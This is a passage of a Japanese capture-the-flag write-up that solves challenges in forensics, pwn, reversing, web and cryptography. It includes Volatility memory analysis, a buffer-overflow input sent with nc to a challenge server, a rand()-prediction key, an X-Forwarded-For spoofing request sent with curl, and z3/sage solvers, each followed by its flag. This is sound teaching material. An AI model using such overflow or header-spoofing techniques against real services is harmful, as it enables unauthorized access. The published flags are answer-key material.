Command line : "C:\Windows\System32\vm3dservice.exe" -u
************************************************************************
vmtoolsd.exe pid:   1916
Command line : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
************************************************************************
dllhost.exe pid:   1356
Command line : C:\Windows\system32\dllhost.exe /Processid:{AA463B27-DFAF-404C-BC1E-4A5665D5E9EF}
************************************************************************
WmiPrvSE.exe pid:   1604
Command line : C:\Windows\system32\wbem\wmiprvse.exe
************************************************************************
dllhost.exe pid:   1932
Command line : C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
************************************************************************
msdtc.exe pid:   2204
Command line : C:\Windows\System32\msdtc.exe
************************************************************************
svchost.exe pid:   2376
Command line : C:\Windows\system32\svchost.exe -k bthsvcs
************************************************************************
VSSVC.exe pid:   2480
Command line : C:\Windows\system32\vssvc.exe
************************************************************************
SearchIndexer. pid:   2576
Command line : C:\Windows\system32\SearchIndexer.exe /Embedding
************************************************************************
SearchFilterHo pid:   2692
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 536 540 548 65536 544 
************************************************************************
SearchProtocol pid:   2728
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" 
************************************************************************
WmiPrvSE.exe pid:   1028
Command line : C:\Windows\system32\wbem\wmiprvse.exe
************************************************************************
cmd.exe pid:    832
Command line : "C:\Windows\system32\cmd.exe" 
************************************************************************
conhost.exe pid:   2300
Command line : \??\C:\Windows\system32\conhost.exe
************************************************************************
WmiApSrv.exe pid:   2324
Command line : C:\Windows\system32\wbem\WmiApSrv.exe
************************************************************************
MRCv120.exe pid:   2984
Command line : "C:\Users\anon\Desktop\MRCv120.exe" 
************************************************************************
WinRAR.exe pid:   1640
Command line : "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\anon\Documents\1mP.zip"
************************************************************************
dllhost.exe pid:    824

$ volatility -f Challenge.raw --profile=Win7SP1x64 filescan | grep 1mP.zip
Volatility Foundation Volatility Framework 2.6.1
0x0000000009793930     16      0 R--rwd \Device\HarddiskVolume2\Users\anon\Documents\1mP.zip

$ volatility -f Challenge.raw --profile=Win7SP1x64 dumpfiles -D ./ -Q 0x0000000009793930
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x09793930   None   \Device\HarddiskVolume2\Users\anon\Documents\1mP.zip

$ volatility -f Challenge.raw --profile=Win7SP1x64 consoles
Volatility Foundation Volatility Framework 2.6.1
**************************************************
ConsoleProcess: conhost.exe Pid: 2300
Console: 0xffb46200 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 832 Handle: 0x10
----
CommandHistory: 0x298bd0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x10
Cmd #0 at 0x2975a0: W1np@55
----
Screen 0x27b110 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\anon>W1np@55                                                           
'W1np@55' is not recognized as an internal or external command,                 
operable program or batch file.                                                 
                                                                                
C:\Users\anon>W1np@55                                                           
'W1np@55' is not recognized as an internal or external command,                 
operable program or batch file.                                                 
                                                                                
C:\Users\anon>

$ mv file.None.0xfffffa80030291a0.dat 1mP.zip
$ 7z e -pW1np@55 1mP.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz (A0655),ASM,AES-NI)

Scanning the drive for archives:
1 file, 4096 bytes (4 KiB)

Extracting archive: 1mP.zip

WARNINGS:
There are data after the end of archive

--
Path = 1mP.zip
Type = zip
WARNINGS:
There are data after the end of archive
Physical Size = 250
Tail Size = 3846

Everything is Ok

Archives with Warnings: 1

Warnings: 1
Size:       28
Compressed: 4096
$ cat 5eCr3T.txt 
wtfCTF{W1nd0w5_1s_f0r_N0085}
wtfCTF{W1nd0w5_1s_f0r_N0085}

ArchTic (Miscellaneous)

$ sudo docker pull madjelly8504/ctf_challenge
Using default tag: latest
latest: Pulling from madjelly8504/ctf_challenge
2ed520655641: Pull complete 
71981185e000: Pull complete 
382982369315: Pull complete 
d2a0ce0fd011: Pull complete 
a58b40769af8: Pull complete 
Digest: sha256:3c12223b418dcd6871f411536ba750653a0c9e8fc9673b8fb5244a8af421b518
Status: Downloaded newer image for madjelly8504/ctf_challenge:latest
$ sudo docker save madjelly8504/ctf_challenge > ctf_challenge.tar

tarを展開し、ファイルを見ていく。
ctf_challenge/a5e8f8c071a82f7b3b5ffca6313d388a99c64d3cfcceaaa851f60cf352bee02bの下のlayer.tarを展開する。
layer/.challenge_dir/flag.txtにフラグが書いてあった。

wtfCTF{4rch_1s_fun}

L0v3 (Miscellaneous)

FTK Imagerで開き、削除ファイルを中心に確認してみる。[root]-[Songzzz]-[Attention.wav]をエクスポート。WAVのヘッダ、チャンク部分が壊れているので修復する。

47 49 46 2E → 52 49 46 46
w4VeFMt → WAVEfmt
DATA → data

DTMFの音声が入っていて、3桁ずつに区切られている。https://unframework.github.io/dtmf-detect/でデコードする。

119 116 102 067 084 070 123 121 048 085 095 065 114 051 095 103 048 048 100 095
>>> codes = '119 116 102 067 084 070 123 121 048 085 095 065 114 051 095 103 048 048 100 095'
>>> codes = map(int, codes.split(' '))
>>> ''.join([chr(c) for c in codes])
'wtfCTF{y0U_Ar3_g00d_'

フラグの前半がわかった。次に[root]-[Imazesss]-[Incognit0.jpg]をエクスポート。JPGのヘッダ部分が壊れているので修復する。

4A 46 → FF D8
jf1f → JFIF

JPG画像にフラグの末尾が書いてある。
f:id:satou-y:20210609210350j:plain

47_Da7A_r3c0v3rY}

これでフラグの後半がわかり、前半部分と結合するとフラグになる。

wtfCTF{y0U_Ar3_g00d_47_Da7A_r3c0v3rY}

W1n_W0n_Pr0 (Miscellaneous)

$ volatility -f Challenge2.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/Challenge2.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002c3a0a0L
          Number of Processors : 4
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002c3bd00L
                KPCR for CPU 1 : 0xfffff880009ef000L
                KPCR for CPU 2 : 0xfffff88003169000L
                KPCR for CPU 3 : 0xfffff880031df000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-05-21 08:00:51 UTC+0000
     Image local date and time : 2021-05-21 01:00:51 -0700

$ volatility -f Challenge2.raw --profile=Win7SP1x64 userassist
Volatility Foundation Volatility Framework 2.6.1
----------------------------
Registry: \??\C:\Users\anon\ntuser.dat 
Path: Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
Last updated: 2021-05-21 08:00:38 UTC+0000

Subkeys:

Values:

REG_BINARY    Microsoft.Windows.GettingStarted : 
Count:          14
Focus Count:    21
Time Focused:   0:07:00.500000
Last updated:   2021-05-21 06:51:08 UTC+0000
Raw Data:
0x00000000  00 00 00 00 0e 00 00 00 15 00 00 00 a0 68 06 00   .............h..
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 84 f5 e8 ad   ................
0x00000040  0d 4e d7 01 00 00 00 00                           .N......

        :

REG_BINARY    %windir%\system32\calc.exe : 
Count:          45★
Focus Count:    45
Time Focused:   0:07:03.446000
Last updated:   2021-05-21 08:00:09 UTC+0000
Raw Data:
0x00000000  00 00 00 00 2d 00 00 00 2d 00 00 00 22 74 06 00   ....-...-..."t..
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff b0 cd fb 51   ...............Q
0x00000040  17 4e d7 01 00 00 00 00                           .N......

REG_BINARY    Microsoft.Windows.StickyNotes : 
Count:          11
Focus Count:    15
Time Focused:   0:05:00.500000
Last updated:   2021-05-21 06:51:08 UTC+0000
Raw Data:
0x00000000  00 00 00 00 0b 00 00 00 0f 00 00 00 e0 93 04 00   ................
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 84 f5 e8 ad   ................
0x00000040  0d 4e d7 01 00 00 00 00                           .N......

REG_BINARY    %windir%\system32\SnippingTool.exe : 
Count:          10
Focus Count:    13
Time Focused:   0:04:20.500000
Last updated:   2021-05-21 06:51:08 UTC+0000
Raw Data:
0x00000000  00 00 00 00 0a 00 00 00 0d 00 00 00 a0 f7 03 00   ................
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 84 f5 e8 ad   ................
0x00000040  0d 4e d7 01 00 00 00 00                           .N......

REG_BINARY    %windir%\system32\mspaint.exe : 
Count:          14
Focus Count:    45
Time Focused:   0:08:17.665000★
Last updated:   2021-05-21 07:55:49 UTC+0000
Raw Data:
0x00000000  00 00 00 00 0e 00 00 00 2d 00 00 00 0d 96 07 00   ........-.......
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 40 88 10 b7   ............@...
0x00000040  16 4e d7 01 00 00 00 00                           .N......

REG_BINARY    %windir%\system32\xpsrchvw.exe : 
Count:          8
Focus Count:    9
Time Focused:   0:03:00.500000
Last updated:   2021-05-21 06:51:08 UTC+0000
Raw Data:
0x00000000  00 00 00 00 08 00 00 00 09 00 00 00 20 bf 02 00   ................
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 84 f5 e8 ad   ................
0x00000040  0d 4e d7 01 00 00 00 00                           .N......

        :

REG_BINARY    %ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\WinRAR\WinRAR.lnk : 
Count:          1
Focus Count:    0
Time Focused:   0:00:00.501000
Last updated:   2021-05-21 07:53:35 UTC+0000
Raw Data:
0x00000000  00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00   ................
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 00 3c 42 67   .............<Bg
0x00000040  16 4e d7 01 00 00 00 00                           .N......

REG_BINARY    C:\Users\anon\Desktop\Calculator.lnk : 
Count:          27
Focus Count:    0
Time Focused:   0:00:00.527000
Last updated:   2021-05-21 08:00:09 UTC+0000
Raw Data:
0x00000000  00 00 00 00 1b 00 00 00 00 00 00 00 1b 00 00 00   ................
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf   ................
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff b0 cd fb 51   ...............Q
0x00000040  17 4e d7 01 00 00 00 00                           .N......

calc.exeの実行回数は45回。mspaint.exeが使われていた時間は08:17。

$ volatility --plugins=../plugins -f Challenge2.raw --profile=Win7SP1x64 usbstor
Volatility Foundation Volatility Framework 2.6.1
Reading the USBSTOR Please Wait
Found USB Drive: 03003017101520132956&0
	Serial Number:	03003017101520132956&0
	Vendor:	SanDisk
	Product:	Cruzer_Blade
	Revision:	1.00
	ClassGUID:	Cruzer_Blade

	ContainerID:	{fdd09cf2-78c9-53d6-ba7b-0f5c9266549a}
	Mounted Volume:	\??\Volume{ffe4e32c-ba01-11eb-9be0-bca8a6af9b68}
	Drive Letter:	\DosDevices\E:
	Friendly Name:	SanDisk Cruzer Blade USB Device
	USB Name:	E:\
	Device Last Connected:	2021-05-21 08:00:17 UTC+0000★

	Class:	DiskDrive
	Service:	disk
	DeviceDesc:	@disk.inf,%disk_devdesc%;Disk drive
	Capabilities:	16
	Mfg:	@disk.inf,%genmanufacturer%;(Standard disk drives)
	ConfigFlags:	0
	Driver:	{4d36e967-e325-11ce-bfc1-08002be10318}\0001
	Compatible IDs:
		USBSTOR\Disk
		USBSTOR\RAW
		
		
	HardwareID:
		USBSTOR\DiskSanDisk_Cruzer_Blade____1.00
		USBSTOR\DiskSanDisk_Cruzer_Blade____
		USBSTOR\DiskSanDisk_
		USBSTOR\SanDisk_Cruzer_Blade____1
		SanDisk_Cruzer_Blade____1
		USBSTOR\GenDisk
		GenDisk
		
		
Windows Portable Devices
	--
	FriendlyName:	E:\
	Serial Number:	03003017101520132956&0
	Last Write Time:	2021-05-21 07:17:16 UTC+0000

最後にUSBデバイスを接続したのは2021-05-21 08:00:17。

wtfCTF{45_08:17_2021-05-21_08:00:17}

MoM5m4g1c (Pwn)

getsで格納されるバッファは125バイト。BOFでwaterを\x00以外で上書きしてしまえば、flagが表示される。

$ nc 20.42.99.115 3000
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
wtfCTF{N1c3!n0w_U_c4N_34t_uR_Ch0c0L4t3}
wtfCTF{N1c3!n0w_U_c4N_34t_uR_Ch0c0L4t3}

k3Y (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint local_10;
  uint local_c;
  
  local_c = rand();
  local_10 = 0;
  printf("Enter the Key: ");
  __isoc99_scanf(&DAT_00102018,&local_10);
  if ((local_10 ^ local_c) == 0xacedface) {
    puts("Yayy! U made it!");
    system("cat flag");
  }
  else {
    puts("Oops!, Best of luck with trying the other 2^32 cases.");
  }
  return 0;
}

シードなしでrand()を実行する場合、シードが1のrand()を呼び出す。以下のコードをコンパイルして実行して、入力すべき値を調べる。

$ cat get_rand.c 
#include <stdio.h>
#include <stdlib.h>

void main() {
   unsigned int random;

   random = rand();
   printf("%d\n", random ^ 0xacedface);

   return;
}
$ gcc get_rand.c -o get_rand
$ ./get_rand
-949567575
$ nc 20.42.99.115 3143
-949567575
wtfCTF{c0n80!_Th15_i5_tH3_fL48}
Enter the Key: Yayy! U made it!
wtfCTF{c0n80!_Th15_i5_tH3_fL48}

H3ll0R3v (Reverse)

バイナリエディタで見ると、pycのフォーマットになっているので、デコンパイルする。

$ mv Hello Hello.pyc
$ uncompyle6 Hello.pyc 
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
# [GCC 8.4.0]
# Embedded file name: Hello.py
# Compiled at: 2021-05-19 14:23:46
# Size of source mod 2**32: 1923 bytes


def main(input):
    j = -4
    for c in input:
        if j == 1:
            if c != 'Z':
                exit(43)
            else:
                if j == -7:
                    if c != 'w':
                        exit(133)
                    else:
                        if j == -5:
                            if c != 'f':
                                exit(42069)
                            else:
                                if j == -4:
                                    if c != 'C':
                                        exit(11037)
                                else:
                                    if j == 7:
                                        if c != 'R':
                                            exit(9001)
                                        else:
                                            if j == -2:
                                                if c != 'F':
                                                    exit(11037)
                                            if j == -1 and c != '{':
                                                exit(11037)
                                    if j == 4 and c != '3':
                                        exit(11037)
                        elif j == 0 and c != '3':
                            exit(11037)
                else:
                    if j == -3:
                        if c != 'T':
                            exit(82)
                        if j == 2:
                            if c != '_':
                                exit(11037)
                        if j == -6:
                            if c != 't':
                                exit(133)
                        if j == 6:
                            if c != 'E':
                                exit(133)
                    elif j == 9 and c != '3':
                        exit(7223)
        else:
            if j == 3:
                if c != 'R':
                    exit(133)
                if j == 5:
                    if c != 'V':
                        exit(133)
                if j == 8:
                    if c != '5':
                        exit(6738)
            elif j == 10:
                if c != '}':
                    exit(1111)
            j += 1
    else:
        print('Hello World')
# okay decompiling Hello.pyc

そのままコードを考えると答えが出ない。トップの階層にあるjが1であるかどうかの分岐は次のif文だけにかかると考えるなどして、j=-7の場合のチェックから文字を並べる。

wtfCTF{3Z_R3VER53}

M4sk3r (Web)

https://wtfmasker.herokuapp.com/sourceにアクセスすると、ソースコードが見える。

$ curl https://wtfmasker.herokuapp.com/source
const express = require('express');
const app = express();
const port =  process.env.PORT;
const path = require('path');
const fs = require('fs');

app.use(express.urlencoded({
  extended: true
}))

var SOURCE = '';
fs.readFile(path.dirname(__filename+'/index.js'), 'utf-8', (err, data)=>{
  if(err){
    console.error(err);
    return
  }
  SOURCE = data;
})
const first = process.env.FIRST
const second = process.env.SECOND

const FLAG = process.env.FLAG
const temp = 'wtfCTF{sc4mm3d_4g41n}'


app.get('/getFlag', (req, res) => {
  if ('x-forwarded-for' in req.headers) {
    // I believe in 0,2,-1
    var InternetProtocols = req.headers['x-forwarded-for'].split(', ')
    if (!InternetProtocols) {
     return res.status(400).send("<h4>Visible confusion</h4>");
    }
    if ((InternetProtocols[first] !== InternetProtocols[second]) || (InternetProtocols[first] !== InternetProtocols[InternetProtocols.length - 1])) {
     return res.status(400).send("<h4>The indices I wanted to check don't match, no flag for you :p</h4>");
    }

    var ip = InternetProtocols[first].toString();
    if (ip != "6.9.6.9") {
      return res.status(401).send("Nah, incorrect ip");
    }
    return res.send("Damn, nice one you get to enjoy this : <h4>" + FLAG + "</h4>");
  }
  res.send(temp)
})

app.get('/', (req, res) => {
  res.sendFile(path.join(__dirname, './' ,'index.html'))
})

app.get('/source', (req, res) => {
  res.send(SOURCE);
})

app.post('/checkFlag', (req,res)=>{
    var inpFlag = req.body.flagInput;

    if(inpFlag === FLAG){
      return res.send("Flag Is Correct! GG");
    }
    res.send("Flag Is wrong");
    
})

app.listen(port)

1番目と2番目、1番目と最後のX-Forwarded-Forの値が同じで、"6.9.6.9"であれば、フラグが表示される。

$ curl -H "X-Forwarded-For: 6.9.6.9" -H "X-Forwarded-For: 6.9.6.9" https://wtfmasker.herokuapp.com/getFlag
Damn, nice one you get to enjoy this : <h4>wtfCTF{just_4n0th3r_h34d3r}</h4>
wtfCTF{just_4n0th3r_h34d3r}

wtf_B0T (Crypto)

Discordに入り、wtf_Bot_CTFとやりとりする。

自分: help
Bot : Say my name
自分: wtf_Bot_CTF
Bot : Your flag is: etrIKT{R15v0zd_N0z_d4gh3k}

Vigenere暗号。https://www.dcode.fr/vigenere-cipherでキーを調整しながら復号する。キーは"IAMGROOT"で復号できた。

wtfCTF{D15c0rd_B0t_m4st3r}

V4l1DaT3 (Crypto)

コードからz3で条件を満たすものを探す。

from z3 import *

x = [BitVec('x%d' % i, 8) for i in range(18)]
s = Solver()

s.add(x[0] == ord('k'))
s.add(x[1] == ord('3'))
s.add(x[2] == ord('3'))
s.add(x[3] == ord('p'))

s.add(x[4] == x[15])
s.add(x[5] == x[8])
s.add(x[6] == x[12])

s.add(x[7] - x[4] == 42)
s.add(x[7] + 1 == x[9])
s.add(x[9] % x[8] == 46)
s.add(x[11] - x[8] + x[2] == ord('c'))
s.add(x[14] - x[6] == x[17] + 2)
s.add((x[9] % x[5]) * 2 == x[13] + 40)
s.add(x[4] % x[13] == 15)
s.add(x[14] % x[13] == x[12] - 32)
s.add((x[7] % x[6]) + 89 == x[10])
s.add(x[16] % x[15] == 17)

a = 0
b = 132
for i in range(4, 18):
    a = a ^ x[i]
    b = b + x[i]
s.add(a == 72)
s.add(b == 1250)

r = s.check()
if r == sat:
    m = s.model()
    flag = ''
    for i in range(18):
        flag += chr(m[x[i]].as_long())
    flag = 'wtfCTF{%s}' % flag
    print flag
wtfCTF{k33pC@1m@ndp14yCTF}

Pr4nK (Crypto)

pが2の1024乗なので、sageにDLPを解かせる。あとはzを算出し、MessageとのXORをとればよい。

#!/usr/bin/sage
from Crypto.Util.number import *

with open('msg.txt', 'r') as f:
    p = int(f.readline().rstrip().split(': ')[1])
    b = int(f.readline().rstrip().split(': ')[1])
    x = int(f.readline().rstrip().split(': ')[1])
    y = int(f.readline().rstrip().split(': ')[1])
    Message = int(f.readline().rstrip().split(': ')[1])

F = IntegerModRing(p)
s = int(log(F(x), b))
assert pow(b, s, p) == x
print '[+] s =', s

z = pow(y, s, p)
fl = Message ^^ z
flag = long_to_bytes(fl).split('\x00')[-1]
print '[*] flag:', flag

実行結果は以下の通り。

[+] s = 3500760834200815824254912959978360560462778842148099201384671771825403517354174011533757009996439851598794283042533708449934245863525469711985409342348442867824703870828474794222597219644096639185101676609846821311426681114851095712195523998956581895736228820227678148680332925468816919947782412925162146012
[*] flag: wtfCTF{1nc0gn1t0_c4nt_st0p_v1ru5_dumb0!}
wtfCTF{1nc0gn1t0_c4nt_st0p_v1ru5_dumb0!}

Elgamal (Crypto)

ElGamal暗号だが、c1は出てこない。

priv_key = da
b = pow(a, da, P)
c1 = pow(a, r, P)
2 < r < (len(c2) + 2)

c2 = (m * pow(b, r, P)) % P

まずflagがwから始まることから、rの値とa * daの約数のブルートフォースでaとdaを割り出す。あとはmとrの値のブルートフォースで、フラグを割り出す。

from sympy import *
from Crypto.Util.number import *

P = 2147483647
a_da = 335007430212
c2 = [782609095, 956334224, 948802740, 27994553, 1649557991, 1242339631, 2047940013, 1044206616, 758980367, 542738157, 1732201892, 196836220, 193577195, 649932019, 1925903078, 862766676]

div = divisors(a_da)

flag_head = 'w'

found = False
for d in div:
    a = d
    da = a_da // a
    b = pow(a, da, P)
    for r in range(2, len(c2) + 2):
        try_c2 = (ord(flag_head) * pow(b, r, P)) % P
        if try_c2 == c2[0]:
            found = True
            break
    if found:
        break

print '[+] a =', a
print '[+] da =', da

b = pow(a, da, P)
print '[+] b =', b

flag = ''
for i in range(len(c2)):
    found = False
    for code in range(32, 127):
        for r in range(2, len(c2) + 2):
            try_c2 = (code * pow(b, r, P)) % P
            if try_c2 == c2[i]:
                found = True
                flag += chr(code)
                break
        if found:
            break
    print '[+] flag =', flag

print '[*] flag =', flag

実行結果は以下の通り。

[+] a = 2147483527
[+] da = 156
[+] b = 1989314125
[+] flag = w
[+] flag = wt
[+] flag = wtf
[+] flag = wtfC
[+] flag = wtfCT
[+] flag = wtfCTF
[+] flag = wtfCTF{
[+] flag = wtfCTF{3
[+] flag = wtfCTF{3l
[+] flag = wtfCTF{3l_
[+] flag = wtfCTF{3l_g
[+] flag = wtfCTF{3l_g4
[+] flag = wtfCTF{3l_g4m
[+] flag = wtfCTF{3l_g4m4
[+] flag = wtfCTF{3l_g4m4l
[+] flag = wtfCTF{3l_g4m4l}
[*] flag = wtfCTF{3l_g4m4l}
wtfCTF{3l_g4m4l}

F33db4cK (Crypto)

アンケートに答えたら、こう表示された。

Here's your flag :  05v<X7n#=O%/2m(S_RXxL(zvE2}1TmVjf5V<K}A

https://www.dcode.fr/base-91-encodingでbase91デコードする。

wtfCTF{Th4nK5_F0r_th3_fe3db4cK}